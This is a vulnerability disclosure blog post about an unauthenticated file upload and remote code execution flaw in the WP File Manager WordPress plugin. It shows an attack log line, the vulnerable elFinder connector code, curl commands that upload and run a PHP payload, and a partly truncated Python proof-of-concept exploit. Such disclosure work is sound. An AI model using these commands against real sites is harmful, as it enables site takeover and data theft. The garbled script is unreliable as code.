Severe 0-day security vulnerability found by Seravo's security research in popular WordPress plugin – update WP File Manager immediately

As part of our WordPress upkeep service, we monitor for security threats that can potentially affect our customers. Early in the morning (Finnish time) of September 1st we detected unusual activity affecting several of our customers leading to Seravo being the first to report a new zero day security vulnerability in a popular WordPress plugin to the authors so a critical security update was released within hours.

WP File Manager
Screenshot of WP File Manager

As our security officer on-call started investigating it, it was quickly uncovered that there was a severe 0-day security vulnerability in the WordPress plugin WP File Manager allowing attackers arbitrary file upload and remote code execution on any WordPress site with this plugin installed. An attacker could potentially do whatever they choose to – steal private data, destroy the site or use the website to mount further attacks on other sites or the infrastructure.

As far as we know both the normal WP File Manager and the WP File Manager Pro version were affected. The plugin has over 700k active installations, so it ranks quite high on the most popular WordPress plugins list, thus many sites are affected.

Security update released on the same day

Luckily the plugin is actively developed and as Seravo reported this vulnerability to the author, a security update version 6.9 was issued within hours. We urgently advice everybody using anything less than the latest WP File Manager version 6.9 to update to the latest version or alternatively uninstall the plugin (deactivating the plugin is not enough to protect against this vulnerability).

Seravo’s customers don’t need to take any action, as attacks against sites in our upkeep were prevented by Seravo, even before an official update was available.

Seravo also reported this to the WordPress security database that issued a security notice for WP File Manager < 6.9 so knowledge of the need to update can spread quickly. We will be publishing more details of how the attack exactly worked and some proof-of-concept code at a later time when it is responsible to do so.

As of 2nd September this is the version distribution of WP File Manager active installations:

Seravo’s security research

As our top priority is to protect our customers, we first remediated in our infrastructure by blocking certain traffic patterns related to this vulnerability. There was already botnets exploiting this vulnerability in the wild. As initially this was a 0-day vulnerability, meaning that there was no known fix available we did some investigation and research to uncover what attackers did to breach a site.

Looking at the http traffic logs on a site that was breached we immediately noticed a probable point of access:

<REDACTED-VHOST> - - [31/Aug/2020:23:34:12 +0300] "POST //wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 200 1085 "-" "python-requests/2.24.0" - "" 0.073

Then we skimmed through the codebase beginning from WP File Manager file lib/php/connector.minimal.php, and noticed that this very same file executed some code when accessed:

is_readable('./vendor/autoload.php') && require './vendor/autoload.php';

// // elFinder autoload
require './autoload.php';

// run elFinder
$connector = new elFinderConnector(new elFinder($opts));

This code is from elFinder project, which is a framework to provide file explorer GUI to web applications. This very specific code was meant as a example, but not to be used in production app as is. But, as we see, it was used, with the consequence that it was possible to execute this part of the code without authenticating.

Update 22nd Sep 2020: So, next step was to see if there was some input that would be processed without proper sanitization, and then we could replicate the results.

So, let’s see what happens when $connector->run(); is executed.

     * Execute elFinder command and output result
    public function run()
        $isPost = $this->reqMethod === 'POST';
        $src = $isPost ? array_merge($_GET, $_POST) : $_GET;
        $maxInputVars = (!$src || isset($src['targets'])) ? ini_get('max_input_vars') : null;
        if ((!$src || $maxInputVars) && $rawPostData = file_get_contents('php://input')) {
            // for max_input_vars and supports IE XDomainRequest()
            $parts = explode('&', $rawPostData);
            if (!$src || $maxInputVars < count($parts)) {
                $src = array();
                foreach ($parts as $part) {
                    list($key, $value) = array_pad(explode('=', $part), 2, '');
                    $key = rawurldecode($key);
                    if (preg_match('/^(.+?)\[([^\[\]]*)\]$/', $key, $m)) {
                        $key = $m[1];
                        $idx = $m[2];
                        if (!isset($src[$key])) {
                            $src[$key] = array();
                        if ($idx) {
                            $src[$key][$idx] = rawurldecode($value);
                        } else {
                            $src[$key][] = rawurldecode($value);
                    } else {
                        $src[$key] = rawurldecode($value);
                $_POST = $this->input_filter($src);
                $_REQUEST = $this->input_filter(array_merge_recursive($src, $_REQUEST));

So, we read some data from $_POST/$_GETmostly into variable $src and then…

        $cmd = isset($src['cmd']) ? $src['cmd'] : '';
        $args['debug'] = isset($src['debug']) ? !!$src['debug'] : false;

        $args = $this->input_filter($args);
        if ($hasFiles) {
            $args['FILES'] = $_FILES;
        try {
            $this->output($this->elFinder->exec($cmd, $args));

So, contents of $src['cmd'] and $_FILES (uploaded files) get used as arguments for $this->elFinder->exec(). Could we execute any command, or is there some limitations? By looking at the implementation for exec() (in the file lib/php/elFinder.class.php we see that only certain predefined commands are allowed to be executed. We also need to pass some variables for defining “target volume” to make things work. This is the full list of allowed commands,

     * Commands and required arguments list
     * @var array
    protected $commands = array(
        'abort' => array('id' => true),
        'archive' => array('targets' => true, 'type' => true, 'mimes' => false, 'name' => false),
        'callback' => array('node' => true, 'json' => false, 'bind' => false, 'done' => false),
        'chmod' => array('targets' => true, 'mode' => true),
        'dim' => array('target' => true, 'substitute' => false),
        'duplicate' => array('targets' => true, 'suffix' => false),
        'editor' => array('name' => true, 'method' => true, 'args' => false),
        'extract' => array('target' => true, 'mimes' => false, 'makedir' => false),
        'file' => array('target' => true, 'download' => false, 'cpath' => false, 'onetime' => false),
        'get' => array('target' => true, 'conv' => false),
        'info' => array('targets' => true, 'compare' => false),
        'ls' => array('target' => true, 'mimes' => false, 'intersect' => false),
        'mkdir' => array('target' => true, 'name' => false, 'dirs' => false),
        'mkfile' => array('target' => true, 'name' => true, 'mimes' => false),
        'netmount' => array('protocol' => true, 'host' => true, 'path' => false, 'port' => false, 'user' => false, 'pass' => false, 'alias' => false, 'options' => false),
        'open' => array('target' => false, 'tree' => false, 'init' => false, 'mimes' => false, 'compare' => false),
        'parents' => array('target' => true, 'until' => false),
        'paste' => array('dst' => true, 'targets' => true, 'cut' => false, 'mimes' => false, 'renames' => false, 'hashes' => false, 'suffix' => false),
        'put' => array('target' => true, 'content' => '', 'mimes' => false, 'encoding' => false),
        'rename' => array('target' => true, 'name' => true, 'mimes' => false, 'targets' => false, 'q' => false),
        'resize' => array('target' => true, 'width' => false, 'height' => false, 'mode' => false, 'x' => false, 'y' => false, 'degree' => false, 'quality' => false, 'bg' => false),
        'rm' => array('targets' => true),
        'search' => array('q' => true, 'mimes' => false, 'target' => false, 'type' => false),
        'size' => array('targets' => true),
        'subdirs' => array('targets' => true),
        'tmb' => array('targets' => true),
        'tree' => array('target' => true),
        'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),
        'url' => array('target' => true, 'options' => false),
        'zipdl' => array('targets' => true, 'download' => false)

In this very specific case we were actually only interested in upload command, as we were pretty certain that it was probably most severe way to use this entrypoint. As added bonus in previous step we noticed that we can also enable debug mode, so then we did couple tests and we were pretty quickly able to replicate the results – unauthenticated file upload and code execution:

# Create custom payload
echo '<?php echo "Hello World!"; ?>' > payload3.php

# Upload the payload
curl -F cmd=upload -F target=l1_ -F debug=1 -F 'upload[]=@payload3.php' \
        -X POST https://YOURSITE/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

# And execute!
curl -iLsS https://YOURSITE/wp-content/plugins/wp-file-manager/lib/files/payload3.php

So, with just a couple commands you can execute any code on target site. We also wrote simple Python script as another PoC using exactly same way to exploit the vulnerability:

#!/usr/bin/env python3

import argparse
import sys

import requests  # python-requests, eg. apt-get install python3-requests

def exploit(url):
    full_url = f'{url}/wp-content/plugins/wp-file-manager/lib/php/' + \

    # Entry point is lib/php/connector.minimal.php, which then loads
    # elFinderConnector from file `lib/php/elFinderConnector.class.php`,
    # which then processes our input
    data = {
        'cmd': 'upload',
        'target': 'l1_',
        'debug': 1,
    files = {
        'upload[0]': open('payload.php', 'rb'),

    print(f"Just do it... URL: {full_url}")
    res =, data=data, files=files, verify=False)
    if res.status_code ==
        d = res.json()
        p = d.get('added', [])[0].get('url')
        return 1
    return 0

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('url', help="Full URL to the WordPress site " +
                                    "with vulnerable plugin")
    args = parser.parse_args()

    if not args.url.startswith('http'):
        raise ValueError(f"Invalid URL: {args.url}")

    return exploit(args.url)

if __name__ == '__main__':

WP File Manager authors responded and published a fixed version on the same day

We reported the vulnerability to plugin author, WordPress plugin repository and also to WP Vulnerability Database. The fix was released on the same day, and version 6.9 of WP File Manager plugin fixes current issue by removing the endpoint which allowed unauthenticated access to file upload.

Since the fix was published, we also notified about the bug on Twitter yesterday:

Please accept cookies statistics, marketing to see this content
Please accept cookies statistics, marketing to see this content

Security advice to WordPress site owners

If you own a website online, WordPress or not, you need to take security seriously. Even if you don’t think your own site has anything important, an attacker could use it to mount attacks on other websites and you could be held partly liable.

The basic security advice has been the same for many years:

  • Make regular updates, and security updates quickly. Prefer a hosting and upkeep partner that does this on your behalf, such as Seravo.
  • Make backups, automatically, every day. Whatever misfortune your site might have, backups often save the day as it allows one to restore a clean and functional version of the site. Seravo’s upkeep always include automatic pull-style backups that don’t even depend on WordPress to function.
  • Use some kind of monitoring service to detect if the site goes down so it can be quickly brought up again. There are many cheap online services out there that offer monitoring and email alerts as a separate service. Seravo goes a step further: our service includes 24/7 monitoring and also the response. We take upkeep seriously.
  • Follow good password hygiene so that they are not too easy to guess and that passwords leaked from other sites cannot be re-used to gain entry on your WordPress site.
  • Use HTTPS. It should be standard in 2020, but still not everybody uses. Any security protection is nullified if the login credentials can be eavesdropped over the network. By choosing a good service provider the use of HTTPS will be included without any additional price and on by default. Good WordPress providers usually also offer many other additional security features.

We often hear about WordPress site owners that try to solve security by installing yet another plugin. We don’t believe in this, as we often have seen that plugins are the cause of WordPress security issues, not the solution. This we repeat over and over in our WordPress 101 presentation. We advice WordPress site owners to review and remove all unnecessary WordPress plugins to decrease the so called attack surface of their site.

How to clean up after a breach?

Any site could have a security breach at any time, so it is good to have a recovery plan. Check out the following presentation on how to investigate and clean up a security breach:

Please accept cookies statistics, marketing to see this content
How to investigate and recover from a security breach – real-life experiences with WordPress

Read more

For more tips, check out our other posts with the keyword “security”.